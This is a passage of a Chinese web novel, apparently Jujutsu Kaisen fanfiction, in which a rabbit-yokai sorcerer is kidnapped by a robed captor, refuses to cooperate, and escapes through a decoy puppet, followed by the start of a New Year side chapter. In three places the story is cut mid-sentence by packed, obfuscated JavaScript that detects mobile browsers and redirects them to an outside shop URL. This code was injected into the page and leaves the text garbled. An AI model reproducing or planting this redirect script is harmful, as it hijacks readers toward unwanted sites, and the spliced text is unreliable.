涂白抽空看了一眼。那些人还坐在原地,晒太阳的晒太阳,玩耍的玩耍,好像完全没看见这里的战斗。 是结界。有人布下了干扰认知的结界,把这里隔离开了。 涂白心一沉。这不是偶然袭击,是计划好的。 他挥刀斩碎一个扑到面前的咒灵,转身想往公寓楼跑。但刚跑出两步,地面突然裂开,几条藤蔓一样的黑色咒力触手从地下钻出,缠向他的脚踝。 涂白跃起,在空中构筑出一个平台落脚,同时挥刀斩断触手。但更多的触手从四面八方涌来,密密麻麻,几乎封死了所有退路。 他咬紧牙关,再次发动构筑术式。这次不是刀,也不是盾,而是一个巨大的、半球形的银色屏障,将他整个人罩在里面。 触手撞在屏障上,发出沉闷的砰砰声。屏障震动,但没有破裂。 涂白站在屏障中央,喘着气。妖力消耗比预想的快,小腹处隐隐传来一阵轻微的抽痛。 不能这样下去。他得想办法突围。 就在他思考对策时,袭击者的真正目的暴露了出来。 一个穿着黑色斗篷的人影出现在樱花树后。那人手里拿着一个奇怪的咒具,像是一个罗盘,表面刻满了复杂的符文。他将咒具对准涂白的方向,按下了中心的按钮。 嗡—— 一股无形的波动扩散开来。涂白手腕上的银色手环突然剧烈震动,表面的咒纹疯狂闪烁,然后——熄灭了。 定位信号被干扰了。 涂白低头看了一眼手环,心沉到谷底。五条悟留下的保护措施,被破解了。 而那个斗篷人做完这个动作后,迅速后退,消失在树影里。紧接着,另一个咒灵出现了——这个和之前的低级咒灵完全不同。 它没有具体的形态,像是一团半透明的灰色烟雾,在空中缓缓飘浮。所过之处,空气都变得粘稠起来,带着一种甜腻的、让人昏昏欲睡的气息。 麻醉咒灵。 涂白想后退,但脚下的地面突然软化,像是变成了泥沼。他的脚陷进去,动弹不得。他立刻构筑出平台想把自己托起来,但麻醉咒灵已经飘到了屏障外。 灰色烟雾触碰到银色屏障的瞬间,屏障就像被腐蚀了一样,迅速变薄、透明。几秒后,屏障碎裂,化作点点银光消散。 甜腻的气息扑面而来。 涂白屏住呼吸,想构筑新的防御,但妖力运转变得滞涩。他感觉视线开始模糊,四肢发软,手里的刀都握不住了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178930|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不行……不能晕过去…… 他咬破舌尖,用疼痛强迫自己清醒。但麻醉咒灵的效力太强了,甜腻的气息无孔不入,钻进他的鼻腔,渗进他的皮肤。 视线越来越模糊。他看见樱花树在晃动,花瓣在旋转。远处好像有个人影,站在公园边缘,静静地看着这边。 那人穿着袈裟,头发扎成半丸子头,额头上……好像有一条缝合线? 涂白努力想看清,但眼皮太重了。他晃了晃,单膝跪地,手里的刀插进地面支撑身体。 那个人影似乎笑了一下。然后他转身,消失在树影后。 最后的意识里,涂白听见了手机掉在地上的声音——大概是从口袋里滑出来了。屏幕还亮着,上面是五条悟那句【给你带限定樱花大福】。 他想伸手去捡,但手指动不了。 麻醉咒灵飘到他面前,灰色的烟雾笼罩下来。 涂白闭上眼睛,失去了意识。 --- 风停了。 樱花不再飘落,静止在空中,像是被按下了暂停键。 公园里一片死寂。几个低级咒灵在涂白昏迷后迅速消散,像是完成了任务。麻醉咒灵也缓缓飘散,甜腻的气息被风吹散。 只有长椅边,涂白的手机躺在地上,屏幕还亮着,但很快暗了下去。 而涂白本人,已经不见了。 地上只有挣扎的痕迹——被踩乱的草地,几片破碎的花瓣,还有一点银色的光芒碎片,是他构筑屏障时留下的。 以及,手腕上那个已经失去光泽的银色手环。 手环的咒纹彻底黯淡了,像是被某种力量强行切断了连接。 定位信号,彻底消失了。 --- 远处,京都。 五条悟刚解决完最后一个麻烦的咒灵,收起术式,擦了擦手上不存在的灰。他拿出手机,想给涂白发个消息,说事情解决了,马上回去。 但他打开聊天窗口时,发现涂白最后回复的那个兔子点头表情包下面自己发的信息,显示的是“已读”,但没有新消息。 他打字:【解决了,现在回去。樱花大福买到了,限定的最后一份。】 发送。 消息转了两圈,显示“发送失败”。 五条悟皱起眉。信号问题?他又试了一次,还是失败。 他切换到定位功能——之前给涂白的手环有实时定位,他设置了后台监控。 屏幕上,代表涂白位置的小红点,在东京的住宅区闪烁。 但下一秒,红点突然剧烈波动,然后——消失了。 五条悟盯着屏幕,冰蓝色的眼睛一点点冷下来。 他重新打开聊天窗口,拨打涂白的电话。 听筒里传来冰冷的电子音:“您拨打的电话暂时无法接通……” 五条悟挂断,再打。还是一样。 他收起手机,转身就往停车场走。脚步很快,几乎是在跑。 “五条老师?”身后有高专的学生叫他,“夜蛾校长说还要开会——” “改天。”五条悟头也不回,声音冷得像冰,“我有急事。” 他拉开车门,坐进去,发动引擎。车像箭一样冲出去,速度极快,几乎要超速。 路上,他一边开车一边继续打涂白的电话。打了十几遍,全是无法接通。 定位信号彻底消失,电话打不通,消息发不出去。 五条悟握紧方向盘,手指关节发白。 他想起出门前涂白说“我就在家待着”,想起那个兔子点头的表情包,想起樱花大福。 然后他想起了那些老橘子最近的动向,冥冥查到的那些匿名报告,还有总监会里那些不怀好意的眼神。 车在高速公路上飞驰。窗外的景色飞速倒退,模糊成一片色块。 五条悟盯着前方,冰蓝色的眼睛里没有任何温度。 如果小白出了什么事…… 他不敢想下去。 脚踩下油门,车速又提了一档。 小白,等我。 一定要等我。 30.第30章 :遣返令 涂白是被头痛弄醒的。 太阳穴一跳一跳地疼,像是有什么东西在里面敲。他皱了皱眉,想抬手揉一揉,却发现手动不了。 手腕上套着什么东西,凉凉的,很沉。 他猛地睁开眼睛。 天花板是木头的,深棕色,有几道裂纹。不是公寓的白色吊顶,是完全陌生的地方。 涂白转头,看向四周。 一间和室。榻榻米,纸拉门,角落里摆着一个黑色的矮柜。窗户被纸糊着,透进来一点模糊的光,分不清是白天还是傍晚。 他躺在地板上,身下铺着一层薄薄的褥子。手腕和脚腕上都戴着黑色的镣铐,金属的,表面刻着密密麻麻的符文——咒力限制的装置。 涂白试着调动妖力。 什么都没发生。那股平时在体内流转的温暖力量,像是被什么东西堵住了,怎么都调动不起来。还好,宝宝应该没事,肚子没有不适感。 回想起昏迷之前看见的一幕,他的心沉了下去。 就在这时,门被拉开了。 一个穿着袈裟的男人走进来,手里端着一个托盘。他把托盘放在涂白旁边的地板上,然后自己在涂白对面坐下,盘着腿。 “醒了?”他问,语气温和,像是在问候一个老朋友。 涂白盯着他。 男人年纪看起来不大,二十多岁的样子。黑色的头发扎成半丸子头,垂下来一些碎发。五官很端正,甚至可以说好看,眼睛细长,嘴角带着一点若有若无的笑。 但他的额头上有道疤。 一道缝合线,像是脑袋被打开过又缝上了。 涂白见过这道疤。在那个公园,在失去意识的最后一刻。 “你是谁?”涂白问,声音有点哑。 “我叫什么不重要。”男人说,“你只需要知道,我不会伤害你。” 涂白没说话。他低头看了看自己手腕上的镣铐,又看了看男人。 男人笑了。他把托盘往涂白那边推了推——托盘里是一碗粥,还有一杯水。 “先吃点东西吧。”他说,“你已经睡了六个小时。” 六个小时。 涂白在心里算时间。他昏迷的时候是下午,那现在应该是晚上了。五条悟……应该已经回去了。并且已经发现他不见了。 他盯着那碗粥,没动。 “不饿?”男人问,自己端起粥,用勺子舀了一口,喝下去,“放心,没毒。” 涂白看着他喝粥的动作。很自然,很放松,像是真的只是请客人吃顿饭。 “你想要什么?”涂白问。 男人放下碗,擦了擦嘴角。他看向涂白,眼睛弯着,像是在笑,但那笑意没到眼底。 “我需要你的能力。”他说,“构筑术式,很罕见的能力。可以创造出任何想象的东西。” 涂白没接话。 “如果我的情报没错,你应该是一级咒术师。”男人继续说,“登记在册,但不受重用。咒术界那些老头子,对非人类种族一向不太友好,对吧?” 他顿了顿,观察涂白的表情。 涂白面无表情。 “我能帮你摆脱他们。”男人说,语气里带着诱惑,“我可以给你新的身份,完美的,不会被任何人查到。钱,住处,安全,都可以给你安排。” “条件呢?”涂白问。 “帮我做一件事。”男人说,“很简单的事。我需要你构筑一样东西,用来开启某个……装置。完成了,你就可以带着你肚子里那个小家伙,想去哪去哪。” 涂白的手下意识地动了动,想护住小腹,但镣铐限制了他的动作。 “不用紧张。”男人说,“我对你和你的孩子没兴趣。只是刚好需要你的能力,而你需要有人帮你摆脱那些想把你遣返的人。” 遣返。 这两个字像针一样扎进涂白心里。 “我不知道你在说什么。”他硬着声音说。 男人又笑了。这次笑容里多了点别的东西——怜悯,或者说是玩味。 “不知道?”他站起来,走到矮柜边,拿出一个巴掌大的黑色装置,像是个老式的录音机。他按下一个按钮。 嘶嘶的杂音后,一个苍老的声音传出来: “……那个妖族的身份,查清楚了吗?” “查清楚了。原名就叫涂白,实际是兔妖,十几年前随父母偷渡入境,至今没有合法身份。” “偷渡客?哼,这样的人怎么能留在咒术界?万一泄露机密怎么办?” “总监的意思是……” “撤销咒术师资格,启动遣返程序。尽快办妥,以免夜长梦多。” 录音到这里就结束了。 和室里一片安静。 涂白盯着榻榻米的纹路,手指慢慢收紧,攥成拳。 遣返。 这个词他从小就知道。爸妈告诉过他,他们是偷渡来的,没有合法身份,不能被发现。被发现就会被遣返回国。 回国。 那个他们出生的地方,那个“建国后不许成精”的地方。 回去之后会怎么样?被关起来?被研究?还是更糟? 他不知道。他只知道爸妈当年拼了命也要逃出来,就为了让他们三兄弟能在日本平安长大。 而现在,他也要面对同样的命运。 “听到了吗?”男人的声音从头顶传来,“你已经被盯上了。遣返令很快就会下来。没有我的帮助,你逃不掉的。” 涂白抬起头,看着男人。 男人的脸上还是那副温和的表情,但那双眼睛里,有某种让人不舒服的东西。 “怎么样?要合作吗?”他问。 涂白盯着他看了几秒,然后慢慢开口,一个字一个字地说: “不。” 男人挑了挑眉。 “你可以把我送回咒术界。”涂白说,声音很平静,“也可以直接杀了我。但让我帮你做事,不可能。” 男人看着他,沉默了几秒。然后他叹了口气,摇了摇头。 “可惜。”他说,“我还以为你会更理智一点。” 他把录音机放回矮柜,转身走向门口。 拉开门,他回头看了涂白一眼。 “那就先委屈你在这里待一段时间吧。”他说,“等你改变主意了,随时告诉我。毕竟……你也没有别的地方可去了,对吧?” 他笑了笑,拉上门。 脚步声渐渐远去。 涂白一个人躺在榻榻米上,盯着天花板。 遣返。 他闭上眼睛,脑海里浮现出很多东西——爸妈,大哥,小弟,还有……五条悟。 那个人,现在应该在找他吧。 发现他不见了,定位手环没信号了,公寓里空荡荡的,那个人会是什么表情? 涂白不敢想。 他翻了个身,蜷缩起来。手腕上的镣铐碰到一起,发出轻微的金属碰撞声。 他把手放在小腹上。 里面的宝宝像一个小小的、温暖的火苗,在他身体最深处燃烧。 他想起自己之前的计划——跑路,假身份,钱。那些计划现在看起来那么可笑。他还没跑掉,就被真正的危险抓住了。 但又有点庆幸。 还好……还好五条悟不知道那些计划。还好…… 还好什么?他不知道。 他只是想着那个人,心脏就疼了一下。很尖锐的疼,像是被什么东西扎了一下。 他把脸埋进榻榻米里,不再想了。 --- 与此同时,东京。 五条悟把车停在公寓楼下,几乎是跑着冲进电梯的。 电梯太慢。他一秒都等不了,直接用术式瞬移到了家门口。 门锁着。他输入密码,推门进去。 “小白?” 没人回应。 客厅空的。厨房空的。卧室空的。浴室空的。 五条悟站在原地,看着空荡荡的公寓,心跳漏了一拍。 他拿出手机,再次定位。还是没信号。他拨打涂白的电话——无法接通。 他强迫自己冷静下来。最后一次有信号的位置,是楼下的小区公园。 五条悟冲出公寓,瞬移到公园。 公园里很安静。有几个老人在长椅上坐着,几个小孩在玩。一切看起来都很正常。 但五条悟的六眼捕捉到了不正常的东西。 能量残留。很多。咒灵的,还有涂白的妖力。 他快步走到一片草地前。地上有明显的挣扎痕迹,草被踩烂了,泥土翻出来。几片樱花花瓣散落着,已经有点蔫了。 还有一点银色的光芒碎片——构筑术式留下的。 五条悟蹲下来,捡起一片碎片。很小,几乎看不清,但六眼能分辨出上面残留的妖力痕迹。 是涂白的。 他战斗过。在这里。 五条悟站起来,闭上眼睛,六眼全开。 周围的能量流动在他脑海中清晰起来。咒灵的残秽,涂白的妖力,还有……另一股气息。很淡,但很特别。像是什么人留下的。 他追踪那股气息,但只追出几十米就断了。对方显然做了干扰处理。 五条悟睁开眼睛,冰蓝色的眼眸里翻涌着暗流。 他的手机响了。 是夜蛾。 “悟,你在哪?” “我家公寓楼下。”五条悟说,声音很冷,“小白不见了。” 电话那头沉默了两秒。然后夜蛾说:“你回来一趟。有件事要告诉你。” “什么事?” “关于涂白君的……身份问题。刚才总监会发来了公文。” 五条悟挂断电话,瞬移回高专。 夜蛾的办公室里,硝子也在。两人看见五条悟进来,脸色都不太好看。 夜蛾递过来一份文件。 五条悟接过来,扫了一眼。 标题:《关于撤销妖族“涂白”咒术师资格及启动遣返程序的决议》。 下面是一串官方的套话,但核心意思就一个:涂白是非法偷渡入境的妖族,没有合法身份,现在被发现,要遣返回国。 落款是咒术总监会。 五条悟盯着那张纸,看了很久。 然后他气笑了,笑得让让人莫名后背发凉。 “遣返?”他轻声说,像是在品味这两个字。 他把纸揉成一团,扔在地上。然后转身,拉开门就往外走。 “悟!”夜蛾站起来,“你要去哪?” “总监会。”五条悟头也不回。 “你别乱来——” 但五条悟已经不见了。 总监会大楼在东京中心区,一栋看起来很普通的写字楼。但普通人不知道的是,地下的十几层才是真正的总监会办公区。 五条悟直接瞬移进了地下层。 走廊里几个工作人员看见他突然出现,都吓了一跳。但还没等他们反应过来,五条悟已经走到了会议室门口。 门关着。 五条悟直接一脚踹开。 会议室里坐着七八个人,都是总监会的核心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“找到他了吗?”五条悟问,声音沙哑。 硝子摇摇头:“定位失效,电话打不通。夜蛾已经让人去查了。” 五条悟点点头。他转身,朝街道走去。 “你去哪?”硝子在身后问。 “找。”五条悟说,头也不回,“整个东京,一寸一寸找。” 他的背影在夜色里渐渐远去。街灯把他的影子拉得很长。 硝子站在原地,看着他消失的方向,轻轻叹了口气。 然后她的手机响了。是五条悟发来的消息: 【帮我查查,最近有没有人盯上他。任何可疑的都要。】 硝子盯着那条消息,沉默了几秒,然后回复: 【好。你自己也小心。】 她收起手机,转身走进大楼。身后,被五条悟震碎的玻璃碎片在风里轻轻滚动,发出细微的响声。 而五条悟走在东京的夜色中,六眼全开,不放过任何一丝能量波动。 他一定要找到他。 无论花多长时间,无论付出什么代价。 --- 和室里,涂白蜷缩在榻榻米上,不知道过了多久。 窗外透进来的光线从亮变暗,又从暗变亮。可能是过了一夜,也可能是更久。他没表,没手机,什么都干不了,只能躺着,或者坐着,盯着天花板发呆。 中间有人进来过,是那个穿袈裟的男人,给他送饭。还是一碗粥,一杯水。 “想好了吗?”男人问。 涂白没理他。 男人也不生气,放下东西就走了。 涂白盯着那碗粥。他确实饿了,肚子里的宝宝需要营养。但他不敢吃。 万一下药了呢?万一里面有别的东西呢? 他只能硬扛着。 又不知道过了多久,门被拉开的声音再次传来。涂白以为是那个男人又来送饭了,没抬头。 但这次进来的不是一个人。 是两个。 其中一个穿着黑色的斗篷,看不清脸。另一个…… 涂白抬起头,愣住了。 那是个女人,年纪不大,二十出头的样子。蓝色的长发披散着,脸色苍白,脸上身体上到处都是缝合线,看起来怪异无比,眼睛很大,但眼神空洞。她穿着白色的连衣裙,赤着脚,站在门口,像是没有灵魂的人偶。 “这是……”涂白问。 “你的新邻居。”男人的声音从门外传来,“她会陪着你。万一你想逃跑什么的,她也会阻止你。” 涂白盯着那个女人。她一动不动地站着,眼睛直直地看着前方,像是看不见他。 “她是谁?”涂白问。 “不重要。”男人说,“你只需要知道,她很强。强到可以轻松制服你现在的状态。” 涂白没说话。 男人笑了,声音从门外传来:“好好相处吧。我明天再来。” 门拉上了。 女人依然站在原地,一动不动。 涂白盯着她看了很久。她始终没有动,甚至连眼睛都没眨一下。 最后涂白放弃了。他重新躺下,蜷缩起来,手放在小腹上。 他在心里默念着一个人的名字。 五条悟。 你在哪? 快点来救我吧,前辈。 31.第31章 :逃跑 那个女人在门口站了整整一夜。 涂白没睡。他蜷在榻榻米上,背对着门,但眼睛一直睁着。身后的动静他听得一清二楚——没有脚步声,没有呼吸声,什么都没有。那个女人就像一尊雕像,一动不动地站在那里。 天快亮的时候,门被拉开了。那个穿袈裟的男人走进来,看了女人一眼,又看了看涂白。 “相处得怎么样?”他问,语气里带着点笑意。 涂白没理他。 男人也不介意,转身对女人说:“真人,别站着了。过来坐。” 女人——真人——动了。她慢慢走进来,在离涂白两三米的地方坐下,盘着腿,眼睛还是直直地盯着前方。 男人在门口停了一下:“别玩太过。他还有用。” 然后他拉上门走了。 和室里只剩下涂白和那个叫真人的女人。 不对,不是女人。 涂白从余光里打量着对方。那张脸确实像人类,皮肤苍白,五官精致,但那双眼睛里没有任何属于人类的情感。空洞,冷漠,像是在看一个物件。 而且,她身上散发出来的气息——那股阴冷的、充满恶意的能量——是咒灵。 特级咒灵。 涂白的手指蜷缩了一下。他见过特级咒灵,在任务中。但那都是隔着安全距离,有五条悟在旁边。现在他妖力被抑制,手脚戴着镣铐,面对一个特级咒灵…… 他强迫自己保持镇定。 真人歪了歪头,盯着他看了很久。然后她开口了,声音很轻,带着点好奇: “你是妖怪?” 涂白没说话。 “我见过妖怪。”真人继续说,像是在自言自语,“但没见过你这样的。你的灵魂……和人类不太一样。” 涂白还是没说话。 真人往他这边挪了挪,凑得更近了。她的眼睛盯着涂白,瞳孔里有什么东西在转动,像是在观察,又像是在解剖。 “我能看看吗?”她问,“你的灵魂。” 涂白终于开口了,声音沙哑:“滚。” 真人愣了一下,然后笑了。那笑容很天真,像个小孩子听到了什么有趣的事。 “你让我滚?”她说,“可是我想看。我想知道妖怪的灵魂和人类的有什么不同。会不会更漂亮?还是更丑?” 她伸出手,朝涂白探过来。 涂白浑身紧绷,下意识往后缩。但镣铐限制了他的动作,他只能眼睁睁看着那只苍白的手离自己越来越近。 就在真人的指尖快要碰到涂白额头的时候,门突然被拉开了。 那个穿袈裟的男人站在门口,表情没什么变化,但声音冷了下来。 “真人。” 真人的手停在半空。她转过头,看着男人,有点委屈的样子:“我就看看。” “不行。”男人说,“他还有用。别弄坏了。” 真人撅了噘嘴,收回手。但她没站起来,还是坐在原地,眼睛继续盯着涂白。 男人看了她一眼,没再说什么,关上门走了。 和室里又恢复了安静。 真人盯着涂白,涂白盯着榻榻米。 过了很久,真人又开口了。 “你肚子里有个东西。”她说,“是小妖怪吗?” 涂白的手下意识护住小腹。 “我能感觉到。”真人继续说,语气里带着点困惑,“但好像又不太一样。是活的吗?” 涂白没回答。 真人等了一会儿,见他不理自己,无聊地叹了口气。 “你真没意思。”她说,“都不跟我说话。” 她站起来,走到窗边,拉开纸窗的一角往外看。外面是黑的,什么都看不见。 “那个家伙不让我碰你。”她嘀咕着,“那我去找别人玩好了。” 她回头看了涂白一眼,眼神里带着点遗憾:“等你没用了,我再来看你的灵魂。” 说完,她拉开门走了出去。 脚步声渐渐远去。 涂白紧绷的身体慢慢放松下来。他这才发现自己后背全是冷汗,衣服都湿透了。 特级咒灵。而且是很危险的那种。那个叫真人的家伙,看起来天真,但眼神里的东西让人毛骨悚然。 他不能继续待在这里。 涂白闭上眼睛,强迫自己冷静下来。他开始思考。 妖力被抑制,但构筑术式是他与生俱来的天赋,不是单纯的咒力。镣铐能限制他调动妖力战斗,但如果是极其微小的构筑,也许…… 他睁开眼睛,低头看着自己的衣服。 一件薄卫衣,已经被压得皱巴巴的。他慢慢抬起手,用指甲在衣服内侧的接缝处轻轻抠。抠了半天,终于抠出几根细细的棉线头。 他把线头捏在手里,闭上眼睛。 构筑术式,最基础的原理是把想象中的东西具象化。需要的妖力越少,越精细的东西,越容易成功。 他想象一个极小的东西——一个小人偶,和他一模一样的,拇指大小。 体内被压制的妖力缓慢流动起来,像是干涸的河床里渗出一点点水。他把那点妖力集中在掌心,包裹住那几根棉线头。 一点银色的微光在掌心亮起,很微弱,只有他自己能看见。 几分钟后,光芒散去。 他摊开手,掌心里躺着一个拇指大小的小人偶。黑色的头发,红色的眼睛,穿着和他一样的卫衣——棉线头做的,细得几乎看不清,但确实是他自己的样子。 涂白盯着那个小人偶,心跳加快。 成功了。 但他需要更大。 接下来的几天,涂白开始了漫长的准备。 他每天只吃一点点粥,保持最基本的体力。剩下来的精力,全部用来一点点构筑。 每天抠一点衣服纤维,收集榻榻米上掉落的草屑,甚至从墙上刮下一点点灰。这些东西被他藏在袖子里,藏在褥子底下,藏在任何不会被发现的地方。 然后,在夜里,在真人不在的时候,那个咒灵似乎对他的灵魂失去了兴趣,很少来了,他会悄悄调用那一点点可怜的妖力,把这些材料慢慢构筑成傀儡的一部分。 这是一个极其缓慢的过程。他必须控制妖力的输出,不能引起镣铐的剧烈反应,也不能让看守察觉到异常。 三天。 整整三天,他才构筑出一个拳头大的傀儡核心。核心已经有了人的形状,头发、眼睛、衣服都依稀可辨,但还太小。 第四天夜里,他开始往核心注入妖力。 这是最危险的一步。注入妖力会让傀儡膨胀,也会让他自己的妖力大量消耗。万一过程中被发现,就全完了。 他选择在凌晨十二点左右动手。那是守卫换班的时间,也是真人最不可能出现的时间。 涂白把傀儡核心捧在手里,闭上眼睛。 体内的妖力开始流动,向着掌心涌去。傀儡核心像海绵一样吸收着那些妖力,开始微微发光,开始膨胀。 从拳头大,到巴掌大,到人头大。 涂白的脸色越来越白,额头渗出冷汗。他感觉自己的身体在变轻,视线开始模糊。但他咬着牙,继续输送。 傀儡终于膨胀到和他本人一样大小。 涂白睁开眼睛,看着躺在自己面前的另一个“自己”。 黑色的卷发,苍白的脸,红色的眼睛闭着。穿着和他一样的卫衣和运动裤,甚至连手腕上的镣铐都一模一样——那是他用榻榻米上的草屑构筑的。 完美。 不,还不够完美。涂白撑着虚弱的身体,伸手在傀儡胸口按了按。需要呼吸,需要心跳,需要生命的迹象。 他深吸一口气,把最后一点妖力注入傀儡。 傀儡的胸口微微起伏了一下。 涂白笑了。他松开手,身体开始不受控制地缩小。一米七,一米,半米,三十厘米——最后,他变成了一只巴掌大的小黑兔子。 他低头看了看自己的爪子——黑色的毛,红色的眼睛,粉色的肉垫。只是现在这只兔子虚弱得几乎站不稳。 他爬到傀儡身边,钻进傀儡的卫衣里,蜷缩在傀儡的胸口位置。那里有他刚刚构筑的呼吸和心跳,正好能掩护他的气息。 然后他闭上眼睛,等待。 很快,守卫开始换班了。 起先是拉门被拉开的声音传来,然后是脚步声。守卫进来例行检查,看见“涂白”躺在榻榻米上,呼吸平稳,像在睡觉。他站了几秒,然后拉上门走了。 脚步声远去。 涂白蜷在傀儡的卫衣里,一动不动。他知道现在还不是时候。需要等,等一个更大的混乱。 又过了两个小时,凌晨两点。 涂白睁开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188959|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛。他设定好的程序该启动了。 傀儡突然睁开眼睛。 它按照涂白预设的指令,猛地站起来,朝门口冲去。手腕脚腕上的镣铐哗啦啦响,但它不管不顾,一头撞在门上。 门被撞开了。 警报声响起——刺耳的、尖锐的警报,在整个建筑里回荡。 脚步声,喊声,咒力波动。 “他跑了!” “拦住他!” “快去通知大人!” 傀儡冲出和室,沿着走廊狂奔。它跑得跌跌撞撞,但速度不慢。几个守卫追上来,它回头一挥——什么也没有,只是做个样子,然后继续跑。 它跑到走廊尽头,推开门,冲进一个空旷的房间。 守卫追进来,看见“涂白”倒在地上,一动不动。 他们围上去,警惕地看着那个倒地的身影。 几秒后,穿着黑色袈裟的男人——羂索——出现在门口。他快步走过来,蹲下来检查“涂白”。 他伸手探了探鼻息。有。他按住胸口。有心跳。 但不对。 他的眼睛眯起来。这个身体的能量波动……太弱了。弱得不正常。 他伸手抓住“涂白”的手腕,咒力探入。 然后他脸色一变。 “假的。” 他猛地站起来,回头看向走廊。 就在他转身的瞬间,真正的涂白——那只巴掌大的小黑兔子——从傀儡的衣襟里滚出来,悄无声息地滚到门边的阴影里。 羂索的视线扫过房间,扫过门边,但那只兔子太小了,太不起眼了,又完全收敛了气息,和阴影融为一体。 “搜!”羂索说,“他跑不远!” 守卫们冲出去。 羂索站在房间里,盯着地上的傀儡,眉头皱起来。 “妖族的天赋吗……”他喃喃说,“有意思。” 然后他也转身出去了。 脚步声远去。喊声也逐渐远去。警报声停了。 整个建筑都安静下来。 门边的阴影里,一只小黑兔子慢慢探出头。 它等了很久,确认没有动静了,才从阴影里滚出来。 四条小短腿,跑不快,但很努力地朝走廊尽头跑去。 走廊尽头有一扇窗。窗没关严,透进来一点风,和月光。 小黑兔子跑到窗边,跳上窗台。窗户的缝隙不大,但足够它挤出去。 它回头看了一眼身后的走廊,然后转过头,跳了下去。 外面还是夜晚。 建筑后面是一片荒地,长着杂草和灌木。远处是黑漆漆的森林轮廓。 小黑兔子落地的时候滚了两圈,爬起来,踉踉跄跄地朝森林跑去。 跑。 必须跑。 四条腿太短了,跑不快。杂草太高了,绊得它东倒西歪。但它不敢停。 跑。跑。跑。 跑进森林,跑进黑暗里,跑到谁也找不到的地方。 月光从树叶的缝隙里漏下来,在地上投出斑驳的光影。小黑兔子在那些光影里穿行,耳朵竖得高高的,听着周围的动静。 身后没有追兵的声音。 至少现在没有。 它跑着跑着,突然停下来,回头看了一眼。 建筑已经看不见了。只有黑漆漆的森林,和远处隐约的一点灯光。 它想起另一个灯光。 公寓的灯光。暖黄色的,透过窗户照出来,在地板上投下一小片光。五条悟经常在灯光下看手机,或者打游戏,或者只是靠在沙发里发呆。 还有甜品的气味。那家店的草莓蛋糕,芒果布丁,还有上次的樱花大福——他还没来得及吃。 还有那双眼睛。冰蓝色的,盛满笑意的,偶尔也会认真地看着他的眼睛。 小黑兔子站在原地,盯着远处的黑暗,看了很久。 然后它低下头,继续跑。 不能停。 要回去。 一定要回去。 它不知道方向,不知道距离,不知道能不能活着跑出这片森林。但它知道,有个人在等它。 那个人,前辈他,肯定在找我。 小黑兔子的眼睛有点湿。它用爪子抹了抹,继续跑。 月光下,一个小小的黑色身影在森林里穿行,越来越远。 32.新年番外·三只兔子的跨年夜 涂白是在大年初一早上变回原型的。 他刚迷迷糊糊醒来,就立马觉得不对劲——被子太厚了,把自己整个人埋在里面。他挣扎着往外爬,好不容易从被子里钻出来,低头一看,愣住了。 两只毛茸茸的黑色小爪子。 他抬起爪子看看,又摸摸自己的脸——长长的兔耳朵垂下来,毛茸茸的触感。 “……” 昨晚的记忆涌上来。五条悟那个混蛋,除夕夜做起来没完没了,他说了好几次“不行了”“够了”“真的不行了”,那人就跟没听见一样,笑着哄他“最后一次”“真的是最后一次”,然后一次一次又一次。 现在好了,妖力消耗过度,变回原型了。 涂白从被窝里爬出来,四条小短腿站在枕头上,看着旁边还在熟睡的五条悟。 那人侧躺着,白色的头发乱糟糟的,眼罩不知道扔哪去了,冰蓝色的眼睛闭着,睫毛在晨光里投下浅浅的阴影。嘴角还带着一点笑,不知道在做什么好梦。 涂白越看越气,抬起后腿,一脚蹬在他脸上。 五条悟醒了。 他迷迷糊糊睁开眼睛,看见枕头上一只小黑兔正瞪着他,那双红眼睛里的愤怒几乎要溢出来。 “……” 五条悟眨了眨眼,又眨了眨眼。 “小白?” 小黑兔哼了一声,别过头去。 五条悟坐起来,盯着涂白看了几秒,然后笑了。 “变回来了?”他伸手想去摸,被涂白一爪子拍开。 “别碰我!”涂白说,但说出来的只是几声“咕咕”。 五条悟笑得更大声了。他一把捞起涂白,抱在怀里,揉着那对软软的兔耳朵。 “好可爱。”他说,“这样也很可爱。” 涂白挣扎了几下,挣不开,干脆放弃了,缩在他怀里生闷气。 五条悟揉了一会儿,突然想起什么:“你变回来是不是身体不舒服?妖力消耗过度?还是别的什么?我们去找硝子看看。” 涂白想说“都是因为你”,但说出来的还是“咕咕”。 五分钟后,五条悟抱着小黑兔,瞬移到了硝子家门口。 --- 家入硝子打开门的时候,脸上写满了“大清早的你有病吧”。 她穿着睡衣,头发乱糟糟的,眼睛下面两个黑眼圈。看见五条悟抱着只兔子站在门口,表情更阴了。 “五条,你最好有正事。” “小白变回原型了。”五条悟把兔子举起来给她看,“你帮他看看是不是身体不舒服。” 硝子盯着那只兔子看了几秒。兔子也盯着她,红眼睛里写满了尴尬。 “我只是会反转术式的咒术师。”硝子说,一字一顿,“不是兽医。” “你就看看嘛——” “不看。”硝子砰地关上门。 五秒后,门又开了。硝子叹了口气:“出门右转三条街,有家宠物医院。别再来烦我。” 门再次关上。 